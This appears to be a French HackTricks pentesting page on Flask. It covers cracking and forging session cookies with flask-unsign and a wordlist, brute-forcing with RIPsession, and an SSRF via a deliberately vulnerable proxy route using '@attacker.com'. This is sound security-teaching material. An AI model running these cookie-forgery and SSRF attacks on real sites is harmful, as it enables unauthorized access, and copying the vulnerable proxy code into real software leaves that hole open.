hacktricks/network-services-pentesting/pentesting-web/flask.md

5.9 KiB

Flask

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Probablement si vous participez à un CTF, une application Flask sera liée à SSTI.

Cookies

Le nom de session de cookie par défaut est session.

Décodeur

Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64.

echo "ImhlbGxvIg" | base64 -d

Le cookie est également signé à l'aide d'un mot de passe

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, effectuer une attaque par force brute et créer des cookies de session d'une application Flask en devinant les clés secrètes.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signature

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signature en utilisant des versions anciennes (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Outil en ligne de commande pour effectuer une attaque par force brute sur des sites web en utilisant des cookies créés avec flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Cet exemple utilise l'option eval de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.

Proxy Flask vers SSRF

Dans cette explication, il est expliqué comment Flask permet une requête commençant par le caractère "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Quel est le scénario suivant:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Pour permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer une SSRF.

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui à :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :